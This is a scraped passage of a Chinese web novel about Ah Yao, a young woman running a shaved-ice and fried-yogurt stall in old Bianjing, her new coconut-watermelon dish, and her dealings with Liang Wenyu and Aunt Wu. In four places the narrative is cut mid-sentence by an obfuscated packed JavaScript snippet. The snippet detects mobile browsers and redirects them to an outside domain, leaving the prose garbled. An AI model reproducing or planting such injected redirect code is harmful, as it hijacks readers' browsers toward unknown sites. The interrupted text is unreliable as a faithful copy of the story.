许老爹本来就心疼阿瑶,这次归家身上的绷带藏在里头掩饰极好,但袖口露出的颜色和坐在车上一动不动的模样叫他察觉出了不同。 从屋里翻了几颗碎银子出来,塞到阿瑶手中:“阿瑶,阿爷替你阿嬷向你说声对不住,怎么多年,这个家一地鸡毛蒜皮,你一个女娃娃受了委屈。” 阿爷自小就格外喜欢她,她是知晓的,许老爹偷塞过去的银子,她又推了回去,含泪带笑道:“阿爷放心,我在镇上开了摊子,每日可收几百文,您可要照顾好自个。” 爷俩叨唠了几句话,随着里正离去,他们三人收拾好东西向双亲告别离去。 临走前,阿瑶把许老爹给的几两银子都让许老大放到他们二老枕头底下。 回去路上,阿瑶手中簒着腰间仅剩的四两银,她不断琢磨该怎么将这银钱给盘活,尤其是当下冰价上涨飞快的时候。 算来算去阿瑶还是打算把银子花到冰块,虽然如今冰价已需七十五文一块,可这种价格的冰已经算是最上等货色。 而炒酸奶所用冰块阿瑶购入的则是杂质最多,价格最低的那些,还好算下来用一两银钱就能添置下来。 剩下这些需要购买各类新鲜果子制作果酱,剩下的糖浆已经不多,她还需要多购买一些麦子来催芽做糖浆。 晚间卖沙冰的重担就落到了梁文宇身上,阿瑶嘴上说着担心的话,实际心里头也还在担心。 路过州桥还驴车时,阿瑶老远就见到摊子前梁文宇忙碌身影,左右来回忙着还有些顾不过来,阿瑶笑着摇头拄着许老爹为她准备的木棍子一瘸一拐的过去了。 “瞧你这人,硬逞强。”阿瑶动作慢,拄着拐杖走路想相当吃力,她摸到推车后就放弃用棍子,直接跳着进去,对梁文宇说道,“可否为我取一张木凳。” 梁文宇早猜到阿瑶今日会来,他拿着刚挣的银钱去木匠处买了张高度相等的木凳备在身旁。 阿瑶坐下时惊奇发现坐着制作炒酸奶时尽然一点儿都不累,就像站着般。 食客接连不断的来,外头人只多不少,阿瑶刚给出去一碗后面就又多了两人过来,手速明显都快要比不上来的人了,因为只有阿瑶知道剩下可以给多少为食客制作沙冰,她用抹布擦掉了木牌上方的字迹,补上了剩下碗数量,然后跑到外面对食客说了沙冰即将售空的话,常来吃的食客是知道阿瑶的规矩的,听见这话也没有抱怨什么,相反转头问了她几句炒酸奶是否还有。 阿瑶卖冰饮都是食材售空就回去的,不管冰行能够及时购买到冰块,她都是准备充足的来,卖完就停。 得知炒酸奶食材还有时,有好几位食客从梁文宇面前的队伍出来排进阿瑶这边。 这一日,阿瑶都快把她右手用的冒烟了,左手是抬起来就疼,只能让食客自个哪玩,她负责装盘,每次食客询问她都说不出口,甚至还有几位经常过来的食客半道卖了些鸡蛋过来说给她补身子,把阿瑶都整得有些为难,只好叫梁文宇去许老大哪儿取了些小吃零嘴送人。 能时长光顾阿瑶的食客,大多数都是热心肠,他们也都是为人父母儿女之人,看着阿瑶同家中儿女年级相仿多数还是格外关照。 好在阿瑶伤势不算太重,养了几日就好,只是小臂和小腿附近青出一大块儿,一碰就疼。 她干活的时候刻意收敛,牵扯幅度就会小上许多,见伤势好的差不多,阿瑶打算去东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494523|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两市逛逛寻些新鲜、稀奇果子来。 距离上一次新品已有一月多,阿瑶想着能否在找到一些适合加入牛乳中的果子类。 她这次去东市前还用心做了碗料头十足的炒酸奶给大娘带过去,别人不说,阿瑶心中明白,她看过西市最便宜的巴榄子价格,大娘卖给她的价钱足足比外面要便宜很多,可以算是亏价出售。 “大娘。”阿瑶右手提篮,脚下步子缓慢,撩开珠帘走到内室。 大娘姓吴,年轻时也是位美人,岁月未在她脸上留下痕迹,反而面色红润,此刻她木桌前摆着两个茶盏,人去茶空。 “阿瑶,你怎么过来了。”吴大娘收起茶盏拿来个新的出来摆到一旁,招手示意阿瑶过去坐,她用茶筅打好茶再冲泡递过去,“快尝尝,如今天热必定渴了吧!” 阿瑶走路腿不弯,姿势上一眼就能叫外人看出区别,她点点头:“大娘,我瞧你一定念着这块口沙冰,碰巧今日要购置食材,想着顺带来看看你。” 吴大娘对阿瑶的关照简直比别人都要好,就差把她当做自个女儿来看待,凡是有什么还物件总是最先想着她,可卖给她是又不收高价。 “大娘知道你手艺好,喜欢各种稀奇古怪的果子,我前几日得了些好东西,等我拿出来叫你尝尝。”吴大娘往木桶边上走去,她的门店大夏季炎热需要放一块冰在内,只见她撩起宽袖从冰桶中拿出一枚越王头,青色外壳翠绿翠绿。 阿瑶感到意外:“大娘,您这是从何得到。”制作新品有望了。 “大娘,您这可否还有多的?”阿瑶想一个或许不够,即使每日限制数量,一个果子最多三碗已是极限。 她老早想好要该怎么吃和使用了,吴大娘自顾自拿出沙冰后往阿瑶篮子里装越王头,嘴里念念有词:“大娘同你说,这个果子你拿去吃,好吃在问大娘要。” “大娘,我不能收。”阿瑶平时算受到许多恩惠了,不能再欠人情,“我出钱买。” 这话吴大娘一听,笑出声:“傻姑娘,大娘不差钱,你每日隔三五日送一碗沙冰过来即可。” 阿瑶见说不过人家,点头答应下,她还问了吴大娘有多少果子,她往后每日派人过去取几颗带回家。 越王头难得,可想要吃这个果子也是颇有挑战的,阿瑶用刀削掉它厚实外皮,露出里面棕色圆果后拿刀在顶端砍掉一个小口倒出里头的汁水后,把木勺放进去将果肉搅碎挖出,扔进汁水碗里。 之后将果肉连同汁水一起放进石臼里头研磨成浆,白色的浆汁从口子冒出来流进阿瑶准备好的木桶中,她在里面铺了纱布滤杂质使其更加细腻顺滑。 可是一个越王头提炼出来的浆汁量不多,阿瑶取了一些去推车前,她到时后面木桌都坐满了人,挖出几勺西瓜放进铁盘中又倒入少量白浆混合翻炒,液体粘稠起来她用铲子压平压扁弄成薄薄的圈状,开始游走在食客间请他们品尝给些评价。 24. 分家后(一) 每次有什么新吃食,阿瑶都会给大伙儿尝尝鲜,做为她的食客,主要是他们喜好什么,其次才是手艺,这才叫投其所好。 她给西瓜加浆汁的做法取了个名字,叫:西瓜椰椰。 这个名字新颖,使人眼前一亮。 大伙都是在市井常逛的闲客,知道越王头价格昂贵,因此对阿瑶推出的新品涨价有所理解,她不过比原先的大碗涨上五文钱,如今大份的西瓜炒酸奶需要二十二文。 不仅价格提升在数量上方阿瑶也都有固定,每日都只做十份,正是因为物以稀为贵,西瓜椰椰被试吃时的食客说出的天花烂坠。 引得数十位食客每日早早而来就为吃上这一口。 阿瑶得吴大娘恩惠,想亲自端去感谢,可她眼前正好有位熟客拉着她说话不愿松手,只好拍了拍梁文宇:“劳烦你替我去一趟东市,送到写有小筑的一间商铺。” “好。”他拎住食盒就走。 要找写有小筑的商铺,整个东市只有一间,距离州桥有三四里远的店铺,店面最大最广。 “吴娘子,您失踪多年的好女儿叫我来送吃食。”梁文宇走近店里当着人面坐下,手中理好衣摆调侃道。 吴大娘手中捏着早上新到的牡丹,指尖拨开花瓣理成纹路方向一致后往花瓶中插,她背对人叹气:“你说我这失踪多年的女儿何时带个女婿上门?” “您这是收了个干女儿?”梁文宇娴熟般替自己倒了杯茶水。 “混小子,莫嘴贫。”吴大娘插好花,火急燎燎过来,对着梁文宇一顿拍,“人家花都知道找对眼,就属你不知!” 吴大娘打开眼前食盒,里面的炒酸奶被阿瑶卷成一段段排列成花妆,中间点缀了几块西瓜和果子:“你对阿瑶可否有意?” “若是有意,阿娘改明找个大师替你俩算一算。”吴大娘吃了口冰,含糊不清道。 梁文宇掩去眼中神情,握住茶杯:“阿娘着急了些,我如今志不在此,耽误人家可不好。” 她从家弟口中得知子恒要与他对赌时都有些震惊,那赌注她是知道的,可这公子哥跟着魔似得非要当乞丐,她是不解的但还是同意了。 “你与阿瑶我并非未见过,只是你这人比不上人家姑娘,小小年纪如此上进。”吴大娘吐槽起来,“当初你既不想从官又不想从商,学了那套文绉绉气,阿娘何时说过你,如今想让你找个好姑娘,耽误什么!” 梁文宇将杯子握的越发紧:“阿娘,莫在说!我与她并非你想的那般。” 吴大娘摆手吃冰:“罢了罢了,阿娘不说了,嗯,这是沙冰味道真好。”她咽下嘴中,又舀了勺入嘴。 “外头来了几个越王头,你一会带去给阿瑶。”吴大娘慢慢挖了勺冰,举在半空,目光从梁文宇身上挪开,嘴角微微上扬。 这臭小子买什么关子,自家娘亲面前装腔弄事。 梁文宇喝完茶轻声回应:“好。”他提上越王头回去,并未直接带去摊子而是先回家放进井水中冰镇。 等梁文宇到摊子处时,外头有个食客和阿瑶软磨硬泡着,高低要她在做一碗西瓜椰椰出来,阿瑶客客气气同人讲着话,言语间未有半分退步,她把规矩定死了多一碗少一碗都不得兴。 马车就停在摊子旁边,这位食客活泼开朗的很,撑着手肘怼在阿瑶面前撒娇:“好姐姐,就匀我一碗,一碗。”她伸出手指比划。 阿瑶有些无奈:“好妹妹,是真的匀不出来。”一颗越王头四舍五入做三碗都已是她往底料中加入少许牛乳才能做出来的。 “明日再来可好,我定替你预留一份,或让我的伙计送上门。”阿瑶好想快些把人赶走,她要做生意。 “好,一言未定,我明日再来!”小姑娘是吃定了这碗西瓜椰椰。 总算将这位祖宗给送走了,阿瑶扶额叹息:“你都听到了,明日赶紧一早送去。”她有些架不住,看对方并非寻常人家,虽有天真烂漫但身上的书香气息是掩盖不住的。 梁文宇站在她们身后直到人坐车离去,他才站出身来:“看来你有得受了。” 原本阿瑶还在为新品高兴,谁知吸引来怎么一位好新奇的姑娘,阿瑶忍不住闭上眼,只望是她错觉。 “明天你过去时告诉她,往后有何新品一定提前派人送上府,不过价格方面自然是要贵一些,毕竟数量少又是破例。”阿瑶说的头头是道,话语中半分便宜都不让。 梁文宇走过去系上围裙打趣道:“不知该说你是会做生意呢,还是位财迷心窍的主。” 阿瑶递吃食出去给食客,收回手道:“自然是做生意之人,要说财迷也算,毕竟眼下要用到钱财的地方众多。” 她打开冰桶看了几眼,发现里面都快见底,梁文宇方才与她说过家中水井里有几颗越王头,阿瑶想回家前赶紧购置好冰块方便回去后能上手快些,椰浆制作比果酱还要麻烦许多,上次阿瑶打开一个越王头相当吃力,她手腕力气小不太砍得动。 阿瑶望了眼盖上:“今日冰有些不够,在卖几碗就收摊回去吧!” “好。”梁文宇今日未曾外出,接连好几日都没离开摊车,“过会我同你一起去冰行。” 阿瑶正巧需要人帮忙,这段时日冰行伙计都有些不太愿意帮忙她们这些做冰饮生意的摊贩,或许是其他酒楼订的多了一个劲的献媚送冰,阿瑶手伤还未完全好透怕复发,就带着梁文宇一起去了冰行。 刚进冰行就感觉周身一股凉意,与外头炎热形成对比,阿瑶朝店内伙计叫了几声,可对方没理睬她顾自个忙完手头活儿过来,汗巾往肩上一搭。 这个伙计阿瑶先前没见过,想着是位新来的,就对他说自己要些哪些价位的冰块,对方好像有些不愿接待像阿瑶这样的散客,对她的态度有些懒散。 “小哥,劳烦你动作快些,我家中还有些事。”阿瑶说着往人手中递了三个铜板,对方动作才麻利起来。 或许是习惯这样的小哥,阿瑶等在柜台取货单, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小的自然算您十文钱一块,在少就给不了您红利了。”冰行店家低头赔笑道。 花楼店家满意的点头:“十文也好。”他停顿了一下,“只是,其他店呢?” “必定只涨不减,您放心。”他着急回答。 坐在中间的人指尖点了点手下,花楼店家扶着他起身,对一旁说道:“我家主子对你很满意,往后冰行的生意。”他瞄了一眼,“自当还是让你做。” “是,小的谢过六爷。” “别高兴太早,若有那日惹了六爷不痛快,小心你的脑袋!”花楼老板跟在这位六爷身后。 外头梁文宇听见动静,爬上梁柱蹲下身躲藏,从高处看他只能瞧见其中一人着仆人衣裳却走在最中间,身边跟随的两人都微微弓着腰。 不过他看见对方手腕中闪过的图案,是条蛇的模样。 25. 分家后(二) 阿瑶盖好冰车桶,转头就见梁文宇突然站在身后,她瞳孔微张,好似被他吓了一下,捂住胸口道:“东西弄好了,我们先回去吧!”家中还有活等着她干。 “好。”他应答着。 一路上梁文宇虽然推着车,可脑中游荡着今日所看到之事,尤其是对方腕间刻着的黑蛇,整个汴京城从未有人刻过此图案,倒像某种记号。 手中渐渐松开推车把手,车子失去控制往前涌去,推车前端撞到阿瑶的腘窝,她整个人如条件反射一般往前倒下去,结结实实摔了一跤。 人都有些摔迷糊了,爬起来是一脸茫然,眼神中透着清澈的迷茫,她耳边是车轮子咕噜声,余光中只能看到有辆车从她身边经过径直往前去,直到撞上沙土堆才停下来。 巨大冲撞声引来梁文宇注意,他看着地上跪坐的阿瑶和陷入沙土中的推车,脸色闪过一丝惭愧神色,连忙上前扶起阿瑶:“对不住。” 阿瑶脑中还有些糊涂,一时间分不清真假,指尖搭在太阳穴上揉搓着,见到她眼前有只手伸来,抬头仰望。 因为逆着落日,他站的位置遮挡住刺眼的光,可背光而站竟叫阿瑶有些看不清他脸上神情。 她伸出手犹豫了下,掌心就被人攥住,对面一用力她就轻松地站了起来,人微微往前冲了冲,抬起头看时撞进了梁文宇低头探望的视线里,她此刻才看清对方眸中带笑,眼底隐隐有丝柔情闪过。 阿瑶圆溜溜大眼一闪一闪的,安静得盯着梁文宇,看的久了连着眼神都有些改变,等意识到自己和他目前位置时她匆忙将手抽离,把车从沙土堆里推出来掸去车头的泥沙,最后拍净双手,抿起嘴道:“下不为例。” 梁文宇主动担任推车,他抛开脑中事,解释起来:"我并非有意为之,实在是事出突然。" “什么事叫你如此失心?”阿瑶终于缓过神来,“莫不是看中了那位小娘子?”她真是霉事一茬接着一茬来。 梁文宇自顾自推车往前走,他无意回答阿瑶说的话,反倒率先到家,凭借过目不忘的记忆将那图案画下来夹进书中。 随后出去帮阿瑶砍开越王头,依次倒出汁水留了个小口给阿瑶取果肉,他一连将五个个越王头倒干净,剩下那些口子太小不方便取肉,他又砍大了些交到阿瑶手中。 越王头果肉贴着外壳很紧,必须用长勺一小块的慢慢捞出,有时阿瑶能将半个果肉都取出来,挖完所越王头,盘子边沿是些碎果肉堆积在哪儿。 阿瑶靠着宅子中本有的石臼开始研磨起来,边转边加入汁水,她将其研磨两次才得到细腻白浆。 五颗越王头得到的白浆看样子可以做十来碗,但加上西瓜还是有些不够甜,阿瑶找了找手边瓦罐,见麦芽糖用光了,打算先做些麦芽糖出来。 她前几日洒下的麦子,再去看已将纱布顶的老高,都不止一指长了,按照碾碎、发酵方式制作,工序是麻烦了些,可麦芽糖是价格最低的糖了。 只不过阿瑶有些馋糖糕了,等麦芽糖成浆后必须趁热拉糖,她取了一些糖浆和棍子,负责绕上木棍,之后体力活就交给了梁文宇。 这位哥儿本就是公子爷,肩不能挑手不能提,也就体力上面过得去些,刚出炉的麦芽糖是带着淡棕色的,经过不断拉扯扭转糖块逐渐变成淡黄发白,阿瑶留下一小块制作细如丝状的银丝糖。 银丝糖很难做,尤其是力度最难掌握,她把糖块放进炒熟的黄豆粉中,匀速拉扯至细长反复不断操作,最后到细入发丝就算成功了。 阿瑶扯下一小撮放进嘴里,入口即化的甜蜜感带着黄豆香气从舌尖蔓延开,长长一缕的银丝糖分段剪开能有好几份,阿瑶给爹娘和两个幼弟准备了一些,其余的都收进罐子里保存,她想着妆点炒酸奶,营造出一种冰雪山的摸样。 因为明日一早她需要送碗西瓜椰椰到那位小姐府上,既然要收高价装饰和外形上自然不能太过于简单。 本来越王头得来不易,可她如今靠着自创的新式炒酸奶深受百姓喜爱,连达官贵人都时不时派人出来采购,知晓这点后,阿瑶所做的西瓜椰椰实则是给那些贵人食用,她把价格又往上提了几文。 周边吃习惯的熟客有时会想吃上一碗,阿瑶做小碗,收的价格低而量只够过过嘴瘾。 她是想大量购入越王头可价格实在昂贵,保存方面在夏季尤其严苛,需用冰保存,而且从琼州送到此地路途远费人力。 能够寻得已是万幸,可她全靠外人相送,阿瑶想找个由头用钱财买一些回来。 “明日你去取越王头时从木匣子里取几颗碎银给大娘。”阿瑶交代起来。 梁文宇还在绞糖,手中袖子撸的老高:“大娘不收银钱,为何不寻些其他物件相送。” 阿瑶知道人家不缺钱,那面屋子的稀罕物是她这辈子都未见过的:“你可知大娘缺什么?” “缺个儿媳!”梁文宇脱口而出,语调中带着戏谑。 阿瑶眼皮一跳:“你怎知大娘有儿,万一找你做了快婿可不美哉?” “大娘昨日拉着我询问你可许配人家,她想找人替他儿说媒。”梁文宇一五一十说着,不免其中编造了些出来 “我并非良人,也未想过嫁入富贵之家,只想安稳过日,带着爹娘做生意。”阿瑶缓缓说着,言语间对往后的日子充满期望,“我想将摊子最大做广,让女子也能出头。” 梁文宇喉结滚动,他看着阿瑶说着对将来事的憧憬,眼中的柔意都快藏不住。 阿瑶忽然转头询问:“你呢,可有何事想做?” 梁文宇在阿瑶转头瞬间就垂下眼,隐藏神情,语气淡然的像是风中漂泊多年的柳絮无处居所:“还未想过。” “若是未想好,暂且跟我如何?”阿瑶身边缺人手,即使身边有许老大夫妇在她还是想把梁文宇留下。 当初两人初见时本就是一场乌龙,现在回想起来阿瑶气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512276|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得都想笑。 “好。”他一下就答应了,无丝毫犹豫。 反到把阿瑶弄得无措:“你,你先别急着应下,再想想。” 梁文宇将拉好的麦芽糖摆到阿瑶面前,放下袖子:“想好了,跟着你不止有饭吃还有钱拿。” 这样的话阿瑶实在无力反驳。 晚间许老大带着海氏及两人哥儿一道回来,他们见到梁文宇拉着人就往屋子走,嘴里念叨让他教字。 许老大和海氏忙于煮饭,阿瑶清点完食材和小料又瞧了眼冰桶碎冰,之后朝门外走去,她坐在台阶上捧脸发呆,撅着一张小嘴,院里飘起饭香。 她最近挣下的银钱全还了钱庄的欠款,肩上担子一松,不过最近的确是有些霉运加身,隔三差五的受伤,低头看着掌腕冒出的血珠叹气。 梁文宇教两个哥儿写字,给出几个较为复杂的字练习,他出来时阿瑶还坐在门口:“有心事?” 他潦草坐下,眼角扫过她腕间,掏出腰间备下的药,拉过阿瑶手开始上药,瓷瓶里白色粉末洒下后,阿瑶腕间火辣辣的,手要从中抽离被他一把摁住:“洒上药才好的快。” 她咬住下嘴唇强忍着,那股疼是从皮肉一点一点钻进去的,想缩回来又只能干巴巴看着:“疼。” 梁文宇听了话洒药东西慢下来,就连摁着阿瑶的手都主动松开:“这药你随身带,下回受伤可用。” 阿瑶眼珠转了转盯着他侧脸看,想看明白梁文宇对她的心意如何,可又迟疑了起来。 “好。”阿姨收了药瓶攥在手里,“对了,我和阿爹、阿娘说过了让你住在此处一事,之后就不必躲藏。” 先前梁文宇从窗户进出,阿瑶每每出来都能撞见,一个哥儿把爬窗翻墙一事做的如此熟练,她憋着笑打趣:“日后若是改行知会我一声。” 梁文宇冷哼一声:“放心,我定知会你。”把他当贼防。 两人坐在门口,海氏望出去刚好瞧见和许老大聊起来,她蛮中意梁文宇这人的,要说做女婿也非不可,只是她家阿瑶没这心思。 这是他们搬离老宅后第一次生火做饭,许老大买了条鲋鱼做豆腐鱼汤,还买了点虾蛄和贝类爆炒,其余三道都是当下的时令蔬菜:凉拌胡瓜、小炒菘菜(小白菜)、莴笋丝。 阿瑶很喜欢许老大做的红烧鲋鱼,连吃了好几口,她最近吃的多身上都长了些肉,原本瘦小身体明显高出许多。 由于阿瑶和梁文宇坐在一块儿,海氏夹菜时总是会瞄上几眼,她替阿瑶夹了块鲋鱼肚放进碗中。本来想替他夹菜,但转念一想有些不太合适就招呼起来。 “您客气了。”梁文宇嘴里说着却一直在夹白米饭。 阿瑶知道梁文宇挑食,从头到尾他只动了莴笋丝和红烧鲋鱼两道菜。 晚间无需出去摆摊,阿瑶喊了梁文宇出去吃宵夜:“今日想吃什么我买单”她从腰间掏出枚碎银,“就当是提前犒赏你。” 26. 分家后(三) 她平日托梁文宇办的事太多,今日吃饭阿瑶知道梁文宇嘴挑,就算许老大手艺再好,把他不喜的东西做成极品都无用。 正好符合了阿瑶想吃零嘴的愿望,她难得闲下来到州桥上逛一逛,往常这个时候她必定是桥上最热闹的摊子。 有些“同僚”看到阿瑶闲逛还会调侃几句,说归说手中是一个劲的塞些吃食过去给她。 几样吃食里头,阿瑶对各类果脯很满意,酸酸甜甜咬起来糯糯的很有回味,这家店阿瑶一直抽不出身来,今日总算尝过了。 州桥上的小吃摊最多,阿瑶自己买了些樱桃煎尝,而给梁文宇买了块胡饼夹肉。 两人同步走着,一人负责吃一人负责拿。 她多数时候留心观察过梁文宇,虽然这人表面上同纨绔子弟般,实际礼仪方面最为讲究,还好她阿娘忍住没替他夹菜,否则这人估计就不吃了。 这是阿瑶之前干过,拿得还是干净的筷子,结果这人直接甩了脸子给她看。 “嗯,这个樱桃煎味道真好。”她一口咬下去酥酥脆脆的,里头还淌着果酱,味道比冷吃时多了分香气。 今晚阿瑶其实打算带梁文宇一起去西市逛,那边时不时会出现些便宜果子,阿瑶一连去了好几次没碰上,偶尔有机会遇上结果钱带少了。 她今日做足准备,连搬货的人都叫上了,应该不会落空。 边吃边逛,从州桥走到西市时,梁文宇手中挂了数根麻绳,大半都是阿瑶的,她嘴馋每样都想尝一尝,可顶多尝上一口就腻了这才剩下许多。 西市比东市要长上许多,范围更大一些,外围贴近城门,周边摊贩和商户都是百姓自家的店面营生,楼下商铺搂上住人。 刚进入西市街区,阿瑶眼尖发现了其中有家商铺也在卖越王头,只是外观看上去不太新鲜,尤其是它枝干部位已经干瘪枯黄,外壳上面有些斑点,可价格却居高不下。 “你说一个越王头一贯钱够吗?”阿瑶皱了皱眉头,她面前摆着的越王头一个就值两贯钱。 梁文宇扫了眼将目光转向它处:“最低三贯钱!”他摸了摸鼻梁。 “咳咳,你说什么?”阿瑶知道越王头贵,没想到一个就要她十日营生,现在看来大娘对她还真“仁慈”。 不过阿瑶视线很快被摊子上摆出来的黑果子吸引,这些可是难寻的宝贝,竹匾中间堆着几簇紫红的果实,下头用叶子铺底,木牌前方用炭笔写着五十文一斤。 阿瑶怕下次不一定能够在买到这样新鲜的果子,就把竹匾里的都买了下来,让店家帮忙装进竹篮。 她拿了颗尝,味道甜甜的满是汁水,捏过它的指尖都被染上了色。 之后就没有在购买其他东西,主要还是阿瑶没再瞧见让她心满意足的果子,能够淘到丹奈(桑葚)已属于万幸,前几次来都未能碰上,果然来对了。 因为阿瑶担心天热,果子堆在竹篮又在人群中挤来挤去会比较容易出水,就没敢停留直接往家的方向走。 她到家后,手中片刻不敢耽误,草草清洗了一下晾干马上生火熬煮起来,由于丹奈比较黑而且带着微微酸意,阿瑶就没放多少糖,最后熬出来的果酱她费了些时间多煮上一会儿,直到能够在锅铲上出现倒三角才出锅装进琉璃罐里,黑紫黑紫满满一瓶,阿瑶专门留了一些新鲜果子存进冰桶明早先做先卖。 不过她还没尝过用新鲜果子做出来的炒酸奶口味如何,阿瑶打开冰桶把铁盘搁在上头,由于盘子大只能小范围的做,她到了一些牛乳,然后加入丹奈用双铲刀不停切起来,直到牛乳中出现黑紫色汁液,汁水不断增多,牛乳颜色变成浓郁黑紫后,阿瑶将它平铺凝固之后切块出来。 她回家时许老大和海氏早出去摆摊,就连家中两位幼弟都随着爹娘外出,只剩下她和梁文宇两人,幸亏她做的少,小小一碗两人是能够吃完的。 阿瑶拿了筷子过来,一人一双夹起来尝,阿瑶没把麦芽糖加入其中,反而是做好后淋在上头,细细的糖浆来回画出长条,酸中带甜。 “你觉得味道如何?”阿瑶咬下一口浅尝。 梁文宇品鉴后说道:“果味浓郁,淋上糖浆同入口倒是尚可。” 阿瑶从他嘴里听出了不对口几个字,说来也是,梁文宇因该不太喜爱这些酸涩的果子类,嫌少看道他吃这些口味的沙冰。 她把剩下这些都放进冰桶中存好,明早让食客们帮忙品鉴,都说众口难调,她只能做到如此。 千金难买心头好,阿瑶本还在睡梦中,门口却来了人敲打起来,她的屋子又是最贴近院门,声音吵的阿瑶匆忙穿上衣裳去开门。 原本惺忪双眼只开了条小缝,等看清门外人后,长吁一口气:“还未开摊!”昨日的大小姐都追到家里头来了。 她并未同外人讲住在何处,身边爹娘更是不会如此大张旗鼓的宣扬,莫非有人,她脑子里上闪现过梁文宇的身影。 “我知来的尚早,可就念着你说的那碗冰沙。”她身后只跟着一位仆从,穿戴素雅,姿态端庄。 娇弱气质使阿瑶气焰瞬间低了下去,她将人迎进屋,从水壶中倒了杯水出来:“坐吧!” “多谢!”她睨了眼阿瑶,“我姓吴,名姣姣,你叫我姣姣就好。”她伸手摸了摸木桌。 阿瑶瞥了眼:“姣姣,昨日不是说好今早派人送去你府上,为何来的如此早,眼下才卯时三刻。”她打了哈欠,困意席卷而上。 吴姣姣接过仆从手中帕子打开,里面包着几颗小金豆:“这是定金,你每日若有新品第一份都交于我。” 阿瑶瞄了眼绢布中的金子:“成交。”她又补充道,“下不为例!”昨日睡得晚,晚间又未睡好,困得很。 “好,下不为例,这是我贴身侍从,日后就由她来取。”吴姣姣吸细言细语对阿瑶说着。 终于送走吴娇娇这位“大金主”,阿瑶回去小睡了一会儿,睡醒后立马动手制作,炒酸奶每日的冰块都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512277|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要去冰行先买,她推着摊车从冰行来回,取出铁盘后等内部出现薄薄一层霜才开始制作,这样出来炒酸奶无需多次反面凝固较快,能节省翻炒导致糖浆过度硬化。 阿瑶遵守诺言,将西瓜椰椰和黑金丹奈都送到吴姣姣派来的仆从手中。 又了几颗小金豆助力,阿瑶手上更加宽裕了很多,小金豆都是另外储存,她算着时辰,东市应该也开摊了,就让梁文宇去吴大娘哪里取越王头。 昨日备下的料,各大酒楼听闻都来问阿瑶购买西瓜椰椰,一连走了好几玩,剩下的她打算卖给常来的时候。 梁文宇走时阿瑶担心大娘不肯手,准备了一碗黑金丹奈让他带过去。 吴大娘正在试胭脂,铺子里的声音并不只有她一位,他走到内室,果然今早听见的声音是真的。 案桌前放着两碗沙冰,一碗淡红,一碗紫黑。 "早该想到是表妹回来了。"梁文宇走了几步将篮子随手往案桌上一方放,撩开衣摆坐下,替自己倒水。 吴姣姣抿嘴笑着,用帕子捂住:“表哥近来可好,听姑母说你最近穷得慌?” 他喝了口茶,眼神淡薄:"劳烦表妹关心,不过是体验民生罢了!"掏出一颗金豆摆上桌,“表妹近来手头如此宽裕。” 吴姣姣望了吴大娘一眼,垂下眼:“姑母最近总是念叨想吃沙冰,我派人寻了几处,听闻阿瑶手艺最好,就求了父亲要了些,怎么表哥是嫉妒了?” “我为何要嫉妒,你们这点小心思我还猜不透?”梁文宇笑着摇头,他拿出篮子里的炒酸奶起身,拎上越王头离去。 至于木桌上留下的那颗小金豆被吴大娘悄无声息的塞入篮子里。 梁文宇回去时发现篮中小金豆,将它放进钱匣,手中替阿瑶打冰起来。 周围食客多两者都喜的比比皆是,只不过阿瑶炒酸奶限量,她推出是黑金丹奈两种款式都有,以至于晌午就售空。 等到闲时数起银钱,阿瑶对着钱匣子多出来的一枚金豆子发愣,这枚上面有一道裂痕同她给梁文宇那枚是相同的,当即开口问道:“大娘可否有收?” 梁文宇放下冰勺过去:"只收了沙冰。" 阿瑶不止发现多了枚金豆,甚至碎银都多了几颗,可她今日收进来的都是铜板,这个碎银又是怎么回事? 虽然困惑着,但只要不少就无事。 而后几次取越王头都是阿瑶亲自去的,她担心大娘一直不收银钱,每次去就多买一些吃食带过去,甚至耗着大娘高低收上一些,实在不行她就用再有不去她哪儿买为由头要挟起来,吴大娘才肯半价收下。 每次吴大娘哪儿有几个越王头都被阿瑶包下,订西瓜椰椰的数量只多不少,阿瑶有时还不够卖。 她嘴馋是会用丹奈结合椰浆制作炒酸奶,也就只吃这一次,多的都拿出去和周边摊主分着吃,大伙多阿瑶很是照顾,就连先前瞧不起她这个小姑娘做生意的摊主都对她另眼相待。 27. 分家后(四) 都说女子从商为数不多,可阿瑶偏要在这繁文缛节中为女子争一口气,为自己争一口气。 